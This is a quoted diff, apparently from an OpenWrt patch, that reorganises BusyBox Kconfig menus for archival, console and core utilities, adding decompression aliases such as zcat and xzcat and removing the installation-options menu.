> +	  Define your directory to install BusyBox files/subdirs in.
> +
> +comment 'Debugging Options'
>   
>   config BUSYBOX_CONFIG_DEBUG
>   	bool "Build BusyBox with extra Debugging symbols"
> @@ -769,78 +672,8 @@ endchoice
>   
>   endmenu
>   
> -menu 'Installation Options ("make install" behavior)'
> -
> -choice
> -	prompt "What kind of applet links to install"
> -	default BUSYBOX_CONFIG_INSTALL_APPLET_SYMLINKS
> -	help
> -	  Choose what kind of links to applets are created by "make install".
> -
> -config BUSYBOX_CONFIG_INSTALL_APPLET_SYMLINKS
> -	bool "as soft-links"
> -	help
> -	  Install applets as soft-links to the busybox binary. This needs some
> -	  free inodes on the filesystem, but might help with filesystem
> -	  generators that can't cope with hard-links.
> -
> -config BUSYBOX_CONFIG_INSTALL_APPLET_HARDLINKS
> -	bool "as hard-links"
> -	help
> -	  Install applets as hard-links to the busybox binary. This might
> -	  count on a filesystem with few inodes.
> -
> -config BUSYBOX_CONFIG_INSTALL_APPLET_SCRIPT_WRAPPERS
> -	bool "as script wrappers"
> -	help
> -	  Install applets as script wrappers that call the busybox binary.
> -
> -config BUSYBOX_CONFIG_INSTALL_APPLET_DONT
> -	bool "not installed"
> -	help
> -	  Do not install applet links. Useful when you plan to use
> -	  busybox --install for installing links, or plan to use
> -	  a standalone shell and thus don't need applet links.
> -
> -endchoice
> -
> -choice
> -	prompt "/bin/sh applet link"
> -	default BUSYBOX_CONFIG_INSTALL_SH_APPLET_SYMLINK
> -	depends on BUSYBOX_CONFIG_INSTALL_APPLET_SCRIPT_WRAPPERS
> -	help
> -	  Choose how you install /bin/sh applet link.
> -
> -config BUSYBOX_CONFIG_INSTALL_SH_APPLET_SYMLINK
> -	bool "as soft-link"
> -	help
> -	  Install /bin/sh applet as soft-link to the busybox binary.
> -
> -config BUSYBOX_CONFIG_INSTALL_SH_APPLET_HARDLINK
> -	bool "as hard-link"
> -	help
> -	  Install /bin/sh applet as hard-link to the busybox binary.
> -
> -config BUSYBOX_CONFIG_INSTALL_SH_APPLET_SCRIPT_WRAPPER
> -	bool "as script wrapper"
> -	help
> -	  Install /bin/sh applet as script wrapper that calls
> -	  the busybox binary.
> -
> -endchoice
> -
> -config BUSYBOX_CONFIG_PREFIX
> -	string "BusyBox installation prefix"
> -	default BUSYBOX_DEFAULT_PREFIX
> -	help
> -	  Define your directory to install BusyBox files/subdirs in.
> -
> -endmenu
> -
>   source libbb/Config.in
>   
> -endmenu
> -
>   comment "Applets"
>   
>   source archival/Config.in
> diff --git a/package/utils/busybox/config/archival/Config.in b/package/utils/busybox/config/archival/Config.in
> index ff4c2cf..cf47e65 100644
> --- a/package/utils/busybox/config/archival/Config.in
> +++ b/package/utils/busybox/config/archival/Config.in
> @@ -31,7 +31,7 @@ config BUSYBOX_CONFIG_FEATURE_SEAMLESS_GZ
>   	  Make tar, rpm, modprobe etc understand .gz data.
>   
>   config BUSYBOX_CONFIG_FEATURE_SEAMLESS_Z
> -	bool "tar, rpm, modprobe etc understand .Z data"
> +	bool "Make tar, rpm, modprobe etc understand .Z data"
>   	default BUSYBOX_DEFAULT_FEATURE_SEAMLESS_Z  # it is ancient
>   	help
>   	  Make tar, rpm, modprobe etc understand .Z data.
> @@ -79,10 +79,16 @@ config BUSYBOX_CONFIG_GUNZIP
>   	  You can use the `-t' option to test the integrity of
>   	  an archive, without decompressing it.
>   
> +config BUSYBOX_CONFIG_ZCAT
> +	bool "zcat"
> +	default BUSYBOX_DEFAULT_ZCAT
> +	help
> +	  Alias to "gunzip -c".
> +
>   config BUSYBOX_CONFIG_FEATURE_GUNZIP_LONG_OPTIONS
>   	bool "Enable long options"
>   	default BUSYBOX_DEFAULT_FEATURE_GUNZIP_LONG_OPTIONS
> -	depends on BUSYBOX_CONFIG_GUNZIP && BUSYBOX_CONFIG_LONG_OPTS
> +	depends on (BUSYBOX_CONFIG_GUNZIP || BUSYBOX_CONFIG_ZCAT) && BUSYBOX_CONFIG_LONG_OPTS
>   	help
>   	  Enable use of long options.
>   config BUSYBOX_CONFIG_BUNZIP2
> @@ -97,6 +103,12 @@ config BUSYBOX_CONFIG_BUNZIP2
>   
>   	  Unless you have a specific application which requires bunzip2, you
>   	  should probably say N here.
> +
> +config BUSYBOX_CONFIG_BZCAT
> +	bool "bzcat"
> +	default BUSYBOX_DEFAULT_BZCAT
> +	help
> +	  Alias to "bunzip2 -c".
>   config BUSYBOX_CONFIG_UNLZMA
>   	bool "unlzma"
>   	default BUSYBOX_DEFAULT_UNLZMA
> @@ -109,31 +121,47 @@ config BUSYBOX_CONFIG_UNLZMA
>   	  The BusyBox unlzma applet is limited to decompression only.
>   	  On an x86 system, this applet adds about 4K.
>   
> -config BUSYBOX_CONFIG_FEATURE_LZMA_FAST
> -	bool "Optimize unlzma for speed"
> -	default BUSYBOX_DEFAULT_FEATURE_LZMA_FAST
> -	depends on BUSYBOX_CONFIG_UNLZMA
> +config BUSYBOX_CONFIG_LZCAT
> +	bool "lzcat"
> +	default BUSYBOX_DEFAULT_LZCAT
>   	help
> -	  This option reduces decompression time by about 25% at the cost of
> -	  a 1K bigger binary.
> +	  unlzma is a compression utility using the Lempel-Ziv-Markov chain
> +	  compression algorithm, and range coding. Compression
> +	  is generally considerably better than that achieved by the bzip2
> +	  compressors.
> +
> +	  The BusyBox unlzma applet is limited to decompression only.
> +	  On an x86 system, this applet adds about 4K.
>   
>   config BUSYBOX_CONFIG_LZMA
> -	bool "Provide lzma alias which supports only unpacking"
> +	bool "lzma -d"
>   	default BUSYBOX_DEFAULT_LZMA
> -	depends on BUSYBOX_CONFIG_UNLZMA
>   	help
>   	  Enable this option if you want commands like "lzma -d" to work.
>   	  IOW: you'll get lzma applet, but it will always require -d option.
> +
> +config BUSYBOX_CONFIG_FEATURE_LZMA_FAST
> +	bool "Optimize unlzma for speed"
> +	default BUSYBOX_DEFAULT_FEATURE_LZMA_FAST
> +	depends on BUSYBOX_CONFIG_UNLZMA || BUSYBOX_CONFIG_LZCAT || BUSYBOX_CONFIG_LZMA
> +	help
> +	  This option reduces decompression time by about 25% at the cost of
> +	  a 1K bigger binary.
>   config BUSYBOX_CONFIG_UNXZ
>   	bool "unxz"
>   	default BUSYBOX_DEFAULT_UNXZ
>   	help
>   	  unxz is a unlzma successor.
>   
> +config BUSYBOX_CONFIG_XZCAT
> +	bool "xzcat"
> +	default BUSYBOX_DEFAULT_XZCAT
> +	help
> +	  Alias to "unxz -c".
> +
>   config BUSYBOX_CONFIG_XZ
> -	bool "Provide xz alias which supports only unpacking"
> +	bool "xz -d"
>   	default BUSYBOX_DEFAULT_XZ
> -	depends on BUSYBOX_CONFIG_UNXZ
>   	help
>   	  Enable this option if you want commands like "xz -d" to work.
>   	  IOW: you'll get xz applet, but it will always require -d option.
> @@ -158,7 +186,7 @@ config BUSYBOX_CONFIG_CPIO
>   	  cpio has 110 bytes of overheads for every stored file.
>   
>   	  This implementation of cpio can extract cpio archives created in the
> -	  "newc" or "crc" format, it cannot create or modify them.
> +	  "newc" or "crc" format.
>   
>   	  Unless you have a specific application which requires cpio, you
>   	  should probably say N here.
> @@ -198,16 +226,6 @@ config BUSYBOX_CONFIG_DPKG_DEB
>   
>   	  Unless you have a specific application which requires dpkg-deb,
>   	  say N here.
> -
> -config BUSYBOX_CONFIG_FEATURE_DPKG_DEB_EXTRACT_ONLY
> -	bool "Extract only (-x)"
> -	default BUSYBOX_DEFAULT_FEATURE_DPKG_DEB_EXTRACT_ONLY
> -	depends on BUSYBOX_CONFIG_DPKG_DEB
> -	help
> -	  This reduces dpkg-deb to the equivalent of
> -	  "ar -p <deb> data.tar.gz | tar -zx". However it saves space as none
> -	  of the extra dpkg-deb, ar or tar options are needed, they are linked
> -	  to internally.
>   config BUSYBOX_CONFIG_GZIP
>   	bool "gzip"
>   	default BUSYBOX_DEFAULT_GZIP
> @@ -249,10 +267,22 @@ config BUSYBOX_CONFIG_LZOP
>   	help
>   	  Lzop compression/decompresion.
>   
> +config BUSYBOX_CONFIG_UNLZOP
> +	bool "unlzop"
> +	default BUSYBOX_DEFAULT_UNLZOP
> +	help
> +	  Lzop decompresion.
> +
> +config BUSYBOX_CONFIG_LZOPCAT
> +	bool "lzopcat"
> +	default BUSYBOX_DEFAULT_LZOPCAT
> +	help
> +	  Alias to "unlzop -c".
> +
>   config BUSYBOX_CONFIG_LZOP_COMPR_HIGH
>   	bool "lzop compression levels 7,8,9 (not very useful)"
>   	default BUSYBOX_DEFAULT_LZOP_COMPR_HIGH
> -	depends on BUSYBOX_CONFIG_LZOP
> +	depends on BUSYBOX_CONFIG_LZOP || BUSYBOX_CONFIG_UNLZOP || BUSYBOX_CONFIG_LZOPCAT
>   	help
>   	  High levels (7,8,9) of lzop compression. These levels
>   	  are actually slower than gzip at equivalent compression ratios
> diff --git a/package/utils/busybox/config/console-tools/Config.in b/package/utils/busybox/config/console-tools/Config.in
> index 53937d2..e5a4bfb 100644
> --- a/package/utils/busybox/config/console-tools/Config.in
> +++ b/package/utils/busybox/config/console-tools/Config.in
> @@ -6,7 +6,6 @@
>   
>   menu "Console Utilities"
>   
> -
>   config BUSYBOX_CONFIG_CHVT
>   	bool "chvt"
>   	default BUSYBOX_DEFAULT_CHVT
> @@ -14,27 +13,17 @@ config BUSYBOX_CONFIG_CHVT
>   	help
>   	  This program is used to change to another terminal.
>   	  Example: chvt 4 (change to terminal /dev/tty4)
> -
> -config BUSYBOX_CONFIG_FGCONSOLE
> -	bool "fgconsole"
> -	default BUSYBOX_DEFAULT_FGCONSOLE
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  This program prints active (foreground) console number.
> -
>   config BUSYBOX_CONFIG_CLEAR
>   	bool "clear"
>   	default BUSYBOX_DEFAULT_CLEAR
>   	help
>   	  This program clears the terminal screen.
> -
>   config BUSYBOX_CONFIG_DEALLOCVT
>   	bool "deallocvt"
>   	default BUSYBOX_DEFAULT_DEALLOCVT
>   	select BUSYBOX_CONFIG_PLATFORM_LINUX
>   	help
>   	  This program deallocates unused virtual consoles.
> -
>   config BUSYBOX_CONFIG_DUMPKMAP
>   	bool "dumpkmap"
>   	default BUSYBOX_DEFAULT_DUMPKMAP
> @@ -42,14 +31,18 @@ config BUSYBOX_CONFIG_DUMPKMAP
>   	help
>   	  This program dumps the kernel's keyboard translation table to
>   	  stdout, in binary format. You can then use loadkmap to load it.
> -
> +config BUSYBOX_CONFIG_FGCONSOLE
> +	bool "fgconsole"
> +	default BUSYBOX_DEFAULT_FGCONSOLE
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  This program prints active (foreground) console number.
>   config BUSYBOX_CONFIG_KBD_MODE
>   	bool "kbd_mode"
>   	default BUSYBOX_DEFAULT_KBD_MODE
>   	select BUSYBOX_CONFIG_PLATFORM_LINUX
>   	help
>   	  This program reports and sets keyboard mode.
> -
>   config BUSYBOX_CONFIG_LOADFONT
>   	bool "loadfont"
>   	default BUSYBOX_DEFAULT_LOADFONT
> @@ -57,6 +50,44 @@ config BUSYBOX_CONFIG_LOADFONT
>   	help
>   	  This program loads a console font from standard input.
>   
> +config BUSYBOX_CONFIG_SETFONT
> +	bool "setfont"
> +	default BUSYBOX_DEFAULT_SETFONT
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Allows to load console screen map. Useful for i18n.
> +
> +config BUSYBOX_CONFIG_FEATURE_SETFONT_TEXTUAL_MAP
> +	bool "Support reading textual screen maps"
> +	default BUSYBOX_DEFAULT_FEATURE_SETFONT_TEXTUAL_MAP
> +	depends on BUSYBOX_CONFIG_SETFONT
> +	help
> +	  Support reading textual screen maps.
> +
> +config BUSYBOX_CONFIG_DEFAULT_SETFONT_DIR
> +	string "Default directory for console-tools files"
> +	default BUSYBOX_DEFAULT_DEFAULT_SETFONT_DIR
> +	depends on BUSYBOX_CONFIG_SETFONT
> +	help
> +	  Directory to use if setfont's params are simple filenames
> +	  (not /path/to/file or ./file). Default is "" (no default directory).
> +
> +comment "Common options for loadfont and setfont"
> +	depends on BUSYBOX_CONFIG_LOADFONT || BUSYBOX_CONFIG_SETFONT
> +
> +config BUSYBOX_CONFIG_FEATURE_LOADFONT_PSF2
> +	bool "Support for PSF2 console fonts"
> +	default BUSYBOX_DEFAULT_FEATURE_LOADFONT_PSF2
> +	depends on BUSYBOX_CONFIG_LOADFONT || BUSYBOX_CONFIG_SETFONT
> +	help
> +	  Support PSF2 console fonts.
> +
> +config BUSYBOX_CONFIG_FEATURE_LOADFONT_RAW
> +	bool "Support for old (raw) console fonts"
> +	default BUSYBOX_DEFAULT_FEATURE_LOADFONT_RAW
> +	depends on BUSYBOX_CONFIG_LOADFONT || BUSYBOX_CONFIG_SETFONT
> +	help
> +	  Support old (raw) console fonts.
>   config BUSYBOX_CONFIG_LOADKMAP
>   	bool "loadkmap"
>   	default BUSYBOX_DEFAULT_LOADKMAP
> @@ -64,7 +95,6 @@ config BUSYBOX_CONFIG_LOADKMAP
>   	help
>   	  This program loads a keyboard translation table from
>   	  standard input.
> -
>   config BUSYBOX_CONFIG_OPENVT
>   	bool "openvt"
>   	default BUSYBOX_DEFAULT_OPENVT
> @@ -72,14 +102,12 @@ config BUSYBOX_CONFIG_OPENVT
>   	help
>   	  This program is used to start a command on an unused
>   	  virtual terminal.
> -
>   config BUSYBOX_CONFIG_RESET
>   	bool "reset"
>   	default BUSYBOX_DEFAULT_RESET
>   	help
>   	  This program is used to reset the terminal screen, if it
>   	  gets messed up.
> -
>   config BUSYBOX_CONFIG_RESIZE
>   	bool "resize"
>   	default BUSYBOX_DEFAULT_RESIZE
> @@ -96,7 +124,6 @@ config BUSYBOX_CONFIG_FEATURE_RESIZE_PRINT
>   	  the terminal.
>   	  E.g.:
>   	  COLUMNS=80;LINES=44;export COLUMNS LINES;
> -
>   config BUSYBOX_CONFIG_SETCONSOLE
>   	bool "setconsole"
>   	default BUSYBOX_DEFAULT_SETCONSOLE
> @@ -111,29 +138,6 @@ config BUSYBOX_CONFIG_FEATURE_SETCONSOLE_LONG_OPTIONS
>   	depends on BUSYBOX_CONFIG_SETCONSOLE && BUSYBOX_CONFIG_LONG_OPTS
>   	help
>   	  Support long options for the setconsole applet.
> -
> -config BUSYBOX_CONFIG_SETFONT
> -	bool "setfont"
> -	default BUSYBOX_DEFAULT_SETFONT
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  Allows to load console screen map. Useful for i18n.
> -
> -config BUSYBOX_CONFIG_FEATURE_SETFONT_TEXTUAL_MAP
> -	bool "Support reading textual screen maps"
> -	default BUSYBOX_DEFAULT_FEATURE_SETFONT_TEXTUAL_MAP
> -	depends on BUSYBOX_CONFIG_SETFONT
> -	help
> -	  Support reading textual screen maps.
> -
> -config BUSYBOX_CONFIG_DEFAULT_SETFONT_DIR
> -	string "Default directory for console-tools files"
> -	default BUSYBOX_DEFAULT_DEFAULT_SETFONT_DIR
> -	depends on BUSYBOX_CONFIG_SETFONT
> -	help
> -	  Directory to use if setfont's params are simple filenames
> -	  (not /path/to/file or ./file). Default is "" (no default directory).
> -
>   config BUSYBOX_CONFIG_SETKEYCODES
>   	bool "setkeycodes"
>   	default BUSYBOX_DEFAULT_SETKEYCODES
> @@ -141,14 +145,12 @@ config BUSYBOX_CONFIG_SETKEYCODES
>   	help
>   	  This program loads entries into the kernel's scancode-to-keycode
>   	  map, allowing unusual keyboards to generate usable keycodes.
> -
>   config BUSYBOX_CONFIG_SETLOGCONS
>   	bool "setlogcons"
>   	default BUSYBOX_DEFAULT_SETLOGCONS
>   	select BUSYBOX_CONFIG_PLATFORM_LINUX
>   	help
>   	  This program redirects the output console of kernel messages.
> -
>   config BUSYBOX_CONFIG_SHOWKEY
>   	bool "showkey"
>   	default BUSYBOX_DEFAULT_SHOWKEY
> @@ -156,21 +158,4 @@ config BUSYBOX_CONFIG_SHOWKEY
>   	help
>   	  Shows keys pressed.
>   
> -comment "Common options for loadfont and setfont"
> -	depends on BUSYBOX_CONFIG_LOADFONT || BUSYBOX_CONFIG_SETFONT
> -
> -config BUSYBOX_CONFIG_FEATURE_LOADFONT_PSF2
> -	bool "Support for PSF2 console fonts"
> -	default BUSYBOX_DEFAULT_FEATURE_LOADFONT_PSF2
> -	depends on BUSYBOX_CONFIG_LOADFONT || BUSYBOX_CONFIG_SETFONT
> -	help
> -	  Support PSF2 console fonts.
> -
> -config BUSYBOX_CONFIG_FEATURE_LOADFONT_RAW
> -	bool "Support for old (raw) console fonts"
> -	default BUSYBOX_DEFAULT_FEATURE_LOADFONT_RAW
> -	depends on BUSYBOX_CONFIG_LOADFONT || BUSYBOX_CONFIG_SETFONT
> -	help
> -	  Support old (raw) console fonts.
> -
>   endmenu
> diff --git a/package/utils/busybox/config/coreutils/Config.in b/package/utils/busybox/config/coreutils/Config.in
> index ec5611b..855bcd1 100644
> --- a/package/utils/busybox/config/coreutils/Config.in
> +++ b/package/utils/busybox/config/coreutils/Config.in
> @@ -13,12 +13,82 @@ config BUSYBOX_CONFIG_BASENAME
>   	  basename is used to strip the directory and suffix from filenames,
>   	  leaving just the filename itself. Enable this option if you wish
>   	  to enable the 'basename' utility.
> +config BUSYBOX_CONFIG_CAL
> +	bool "cal"
> +	default BUSYBOX_DEFAULT_CAL
> +	help
> +	  cal is used to display a monthly calendar.
>   config BUSYBOX_CONFIG_CAT
>   	bool "cat"
>   	default BUSYBOX_DEFAULT_CAT
>   	help
>   	  cat is used to concatenate files and print them to the standard
>   	  output. Enable this option if you wish to enable the 'cat' utility.
> +config BUSYBOX_CONFIG_CATV
> +	bool "catv"
> +	default BUSYBOX_DEFAULT_CATV
> +	help
> +	  Display nonprinting characters as escape sequences (like some
> +	  implementations' cat -v option).
> +config BUSYBOX_CONFIG_CHGRP
> +	bool "chgrp"
> +	default BUSYBOX_DEFAULT_CHGRP
> +	help
> +	  chgrp is used to change the group ownership of files.
> +config BUSYBOX_CONFIG_CHMOD
> +	bool "chmod"
> +	default BUSYBOX_DEFAULT_CHMOD
> +	help
> +	  chmod is used to change the access permission of files.
> +config BUSYBOX_CONFIG_CHOWN
> +	bool "chown"
> +	default BUSYBOX_DEFAULT_CHOWN
> +	help
> +	  chown is used to change the user and/or group ownership
> +	  of files.
> +
> +config BUSYBOX_CONFIG_FEATURE_CHOWN_LONG_OPTIONS
> +	bool "Enable long options"
> +	default BUSYBOX_DEFAULT_FEATURE_CHOWN_LONG_OPTIONS
> +	depends on BUSYBOX_CONFIG_CHOWN && BUSYBOX_CONFIG_LONG_OPTS
> +	help
> +	  Enable use of long options
> +config BUSYBOX_CONFIG_CHROOT
> +	bool "chroot"
> +	default BUSYBOX_DEFAULT_CHROOT
> +	help
> +	  chroot is used to change the root directory and run a command.
> +	  The default command is `/bin/sh'.
> +config BUSYBOX_CONFIG_CKSUM
> +	bool "cksum"
> +	default BUSYBOX_DEFAULT_CKSUM
> +	help
> +	  cksum is used to calculate the CRC32 checksum of a file.
> +config BUSYBOX_CONFIG_COMM
> +	bool "comm"
> +	default BUSYBOX_DEFAULT_COMM
> +	help
> +	  comm is used to compare two files line by line and return
> +	  a three-column output.
> +config BUSYBOX_CONFIG_CP
> +	bool "cp"
> +	default BUSYBOX_DEFAULT_CP
> +	help
> +	  cp is used to copy files and directories.
> +
> +config BUSYBOX_CONFIG_FEATURE_CP_LONG_OPTIONS
> +	bool "Enable long options for cp"
> +	default BUSYBOX_DEFAULT_FEATURE_CP_LONG_OPTIONS
> +	depends on BUSYBOX_CONFIG_CP && BUSYBOX_CONFIG_LONG_OPTS
> +	help
> +	  Enable long options for cp.
> +	  Also add support for --parents option.
> +config BUSYBOX_CONFIG_CUT
> +	bool "cut"
> +	default BUSYBOX_DEFAULT_CUT
> +	help
> +	  cut is used to print selected parts of lines from
> +	  each file to stdout.
>   config BUSYBOX_CONFIG_DATE
>   	bool "date"
>   	default BUSYBOX_DEFAULT_DATE
> @@ -102,231 +172,6 @@ config BUSYBOX_CONFIG_FEATURE_DD_STATUS
>   	depends on BUSYBOX_CONFIG_DD
>   	help
>   	  Enables support for status=noxfer/none option.
> -config BUSYBOX_CONFIG_HOSTID
> -	bool "hostid"
> -	default BUSYBOX_DEFAULT_HOSTID
> -	help
> -	  hostid prints the numeric identifier (in hexadecimal) for
> -	  the current host.
> -config BUSYBOX_CONFIG_ID
> -	bool "id"
> -	default BUSYBOX_DEFAULT_ID
> -	help
> -	  id displays the current user and group ID names.
> -config BUSYBOX_CONFIG_GROUPS
> -	bool "groups"
> -	default BUSYBOX_DEFAULT_GROUPS
> -	help
> -	  Print the group names associated with current user id.
> -config BUSYBOX_CONFIG_SHUF
> -	bool "shuf"
> -	default BUSYBOX_DEFAULT_SHUF
> -	help
> -	  Generate random permutations
> -config BUSYBOX_CONFIG_STAT
> -	bool "stat"
> -	default BUSYBOX_DEFAULT_STAT
> -	help
> -	  display file or filesystem status.
> -
> -config BUSYBOX_CONFIG_FEATURE_STAT_FORMAT
> -	bool "Enable custom formats (-c)"
> -	default BUSYBOX_DEFAULT_FEATURE_STAT_FORMAT
> -	depends on BUSYBOX_CONFIG_STAT
> -	help
> -	  Without this, stat will not support the '-c format' option where
> -	  users can pass a custom format string for output. This adds about
> -	  7k to a nonstatic build on amd64.
> -
> -config BUSYBOX_CONFIG_FEATURE_STAT_FILESYSTEM
> -	bool "Enable display of filesystem status (-f)"
> -	default BUSYBOX_DEFAULT_FEATURE_STAT_FILESYSTEM
> -	depends on BUSYBOX_CONFIG_STAT
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX # statfs()
> -	help
> -	  Without this, stat will not support the '-f' option to display
> -	  information about filesystem status.
> -config BUSYBOX_CONFIG_SYNC
> -	bool "sync"
> -	default BUSYBOX_DEFAULT_SYNC
> -	help
> -	  sync is used to flush filesystem buffers.
> -config BUSYBOX_CONFIG_FEATURE_SYNC_FANCY
> -	bool "Enable -d and -f flags (requres syncfs(2) in libc)"
> -	default BUSYBOX_DEFAULT_FEATURE_SYNC_FANCY
> -	depends on BUSYBOX_CONFIG_SYNC
> -	help
> -	  sync -d FILE... executes fdatasync() on each FILE.
> -	  sync -f FILE... executes syncfs() on each FILE.
> -config BUSYBOX_CONFIG_TEST
> -	bool "test"
> -	default BUSYBOX_DEFAULT_TEST
> -	help
> -	  test is used to check file types and compare values,
> -	  returning an appropriate exit code. The bash shell
> -	  has test built in, ash can build it in optionally.
> -
> -config BUSYBOX_CONFIG_FEATURE_TEST_64
> -	bool "Extend test to 64 bit"
> -	default BUSYBOX_DEFAULT_FEATURE_TEST_64
> -	depends on BUSYBOX_CONFIG_TEST || BUSYBOX_CONFIG_ASH_BUILTIN_TEST || BUSYBOX_CONFIG_HUSH
> -	help
> -	  Enable 64-bit support in test.
> -config BUSYBOX_CONFIG_TOUCH
> -	bool "touch"
> -	default BUSYBOX_DEFAULT_TOUCH
> -	help
> -	  touch is used to create or change the access and/or
> -	  modification timestamp of specified files.
> -
> -config BUSYBOX_CONFIG_FEATURE_TOUCH_NODEREF
> -	bool "Add support for -h"
> -	default BUSYBOX_DEFAULT_FEATURE_TOUCH_NODEREF
> -	depends on BUSYBOX_CONFIG_TOUCH
> -	help
> -	  Enable touch to have the -h option.
> -	  This requires libc support for lutimes() function.
> -
> -config BUSYBOX_CONFIG_FEATURE_TOUCH_SUSV3
> -	bool "Add support for SUSV3 features (-d -t -r)"
> -	default BUSYBOX_DEFAULT_FEATURE_TOUCH_SUSV3
> -	depends on BUSYBOX_CONFIG_TOUCH
> -	help
> -	  Enable touch to use a reference file or a given date/time argument.
> -config BUSYBOX_CONFIG_TR
> -	bool "tr"
> -	default BUSYBOX_DEFAULT_TR
> -	help
> -	  tr is used to squeeze, and/or delete characters from standard
> -	  input, writing to standard output.
> -
> -config BUSYBOX_CONFIG_FEATURE_TR_CLASSES
> -	bool "Enable character classes (such as [:upper:])"
> -	default BUSYBOX_DEFAULT_FEATURE_TR_CLASSES
> -	depends on BUSYBOX_CONFIG_TR
> -	help
> -	  Enable character classes, enabling commands such as:
> -	  tr [:upper:] [:lower:] to convert input into lowercase.
> -
> -config BUSYBOX_CONFIG_FEATURE_TR_EQUIV
> -	bool "Enable equivalence classes"
> -	default BUSYBOX_DEFAULT_FEATURE_TR_EQUIV
> -	depends on BUSYBOX_CONFIG_TR
> -	help
> -	  Enable equivalence classes, which essentially add the enclosed
> -	  character to the current set. For instance, tr [=a=] xyz would
> -	  replace all instances of 'a' with 'xyz'. This option is mainly
> -	  useful for cases when no other way of expressing a character
> -	  is possible.
> -config BUSYBOX_CONFIG_TRUNCATE
> -	bool "truncate"
> -	default BUSYBOX_DEFAULT_TRUNCATE
> -	help
> -	  truncate truncates files to a given size. If a file does
> -	  not exist, it is created unless told otherwise.
> -config BUSYBOX_CONFIG_UNLINK
> -	bool "unlink"
> -	default BUSYBOX_DEFAULT_UNLINK
> -	help
> -	  unlink deletes a file by calling unlink()
> -config BUSYBOX_CONFIG_BASE64
> -	bool "base64"
> -	default BUSYBOX_DEFAULT_BASE64
> -	help
> -	  Base64 encode and decode
> -config BUSYBOX_CONFIG_WHO
> -      bool "who"
> -      default BUSYBOX_DEFAULT_WHO
> -      depends on BUSYBOX_CONFIG_FEATURE_UTMP
> -      help
> -        who is used to show who is logged on.
> -config BUSYBOX_CONFIG_USERS
> -      bool "users"
> -      default BUSYBOX_DEFAULT_USERS
> -      depends on BUSYBOX_CONFIG_FEATURE_UTMP
> -      help
> -        Print users currently logged on.
> -
> -config BUSYBOX_CONFIG_CAL
> -	bool "cal"
> -	default BUSYBOX_DEFAULT_CAL
> -	help
> -	  cal is used to display a monthly calendar.
> -
> -config BUSYBOX_CONFIG_CATV
> -	bool "catv"
> -	default BUSYBOX_DEFAULT_CATV
> -	help
> -	  Display nonprinting characters as escape sequences (like some
> -	  implementations' cat -v option).
> -
> -config BUSYBOX_CONFIG_CHGRP
> -	bool "chgrp"
> -	default BUSYBOX_DEFAULT_CHGRP
> -	help
> -	  chgrp is used to change the group ownership of files.
> -
> -config BUSYBOX_CONFIG_CHMOD
> -	bool "chmod"
> -	default BUSYBOX_DEFAULT_CHMOD
> -	help
> -	  chmod is used to change the access permission of files.
> -
> -config BUSYBOX_CONFIG_CHOWN
> -	bool "chown"
> -	default BUSYBOX_DEFAULT_CHOWN
> -	help
> -	  chown is used to change the user and/or group ownership
> -	  of files.
> -
> -config BUSYBOX_CONFIG_FEATURE_CHOWN_LONG_OPTIONS
> -	bool "Enable long options"
> -	default BUSYBOX_DEFAULT_FEATURE_CHOWN_LONG_OPTIONS
> -	depends on BUSYBOX_CONFIG_CHOWN && BUSYBOX_CONFIG_LONG_OPTS
> -	help
> -	  Enable use of long options
> -
> -config BUSYBOX_CONFIG_CHROOT
> -	bool "chroot"
> -	default BUSYBOX_DEFAULT_CHROOT
> -	help
> -	  chroot is used to change the root directory and run a command.
> -	  The default command is `/bin/sh'.
> -
> -config BUSYBOX_CONFIG_CKSUM
> -	bool "cksum"
> -	default BUSYBOX_DEFAULT_CKSUM
> -	help
> -	  cksum is used to calculate the CRC32 checksum of a file.
> -
> -config BUSYBOX_CONFIG_COMM
> -	bool "comm"
> -	default BUSYBOX_DEFAULT_COMM
> -	help
> -	  comm is used to compare two files line by line and return
> -	  a three-column output.
> -
> -config BUSYBOX_CONFIG_CP
> -	bool "cp"
> -	default BUSYBOX_DEFAULT_CP
> -	help
> -	  cp is used to copy files and directories.
> -
> -config BUSYBOX_CONFIG_FEATURE_CP_LONG_OPTIONS
> -	bool "Enable long options for cp"
> -	default BUSYBOX_DEFAULT_FEATURE_CP_LONG_OPTIONS
> -	depends on BUSYBOX_CONFIG_CP && BUSYBOX_CONFIG_LONG_OPTS
> -	help
> -	  Enable long options for cp.
> -	  Also add support for --parents option.
> -
> -config BUSYBOX_CONFIG_CUT
> -	bool "cut"
> -	default BUSYBOX_DEFAULT_CUT
> -	help
> -	  cut is used to print selected parts of lines from
> -	  each file to stdout.
> -
>   config BUSYBOX_CONFIG_DF
>   	bool "df"
>   	default BUSYBOX_DEFAULT_DF
> @@ -344,29 +189,25 @@ config BUSYBOX_CONFIG_FEATURE_DF_FANCY
>   	    -a Show all filesystems
>   	    -i Inodes
>   	    -B <SIZE> Blocksize
> -
>   config BUSYBOX_CONFIG_DIRNAME
>   	bool "dirname"
>   	default BUSYBOX_DEFAULT_DIRNAME
>   	help
>   	  dirname is used to strip a non-directory suffix from
>   	  a file name.
> -
>   config BUSYBOX_CONFIG_DOS2UNIX
> -	bool "dos2unix/unix2dos"
> +	bool "dos2unix"
>   	default BUSYBOX_DEFAULT_DOS2UNIX
>   	help
>   	  dos2unix is used to convert a text file from DOS format to
>   	  UNIX format, and vice versa.
>   
>   config BUSYBOX_CONFIG_UNIX2DOS
> -	bool
> +	bool "unix2dos"
>   	default BUSYBOX_DEFAULT_UNIX2DOS
> -	depends on BUSYBOX_CONFIG_DOS2UNIX
>   	help
>   	  unix2dos is used to convert a text file from UNIX format to
>   	  DOS format, and vice versa.
> -
>   config BUSYBOX_CONFIG_DU
>   	bool "du (default blocksize of 512 bytes)"
>   	default BUSYBOX_DEFAULT_DU
> @@ -380,7 +221,6 @@ config BUSYBOX_CONFIG_FEATURE_DU_DEFAULT_BLOCKSIZE_1K
>   	depends on BUSYBOX_CONFIG_DU
>   	help
>   	  Use a blocksize of (1K) instead of the default 512b.
> -
>   config BUSYBOX_CONFIG_ECHO
>   	bool "echo (basic SuSv3 version taking no options)"
>   	default BUSYBOX_DEFAULT_ECHO
> @@ -394,7 +234,6 @@ config BUSYBOX_CONFIG_FEATURE_FANCY_ECHO
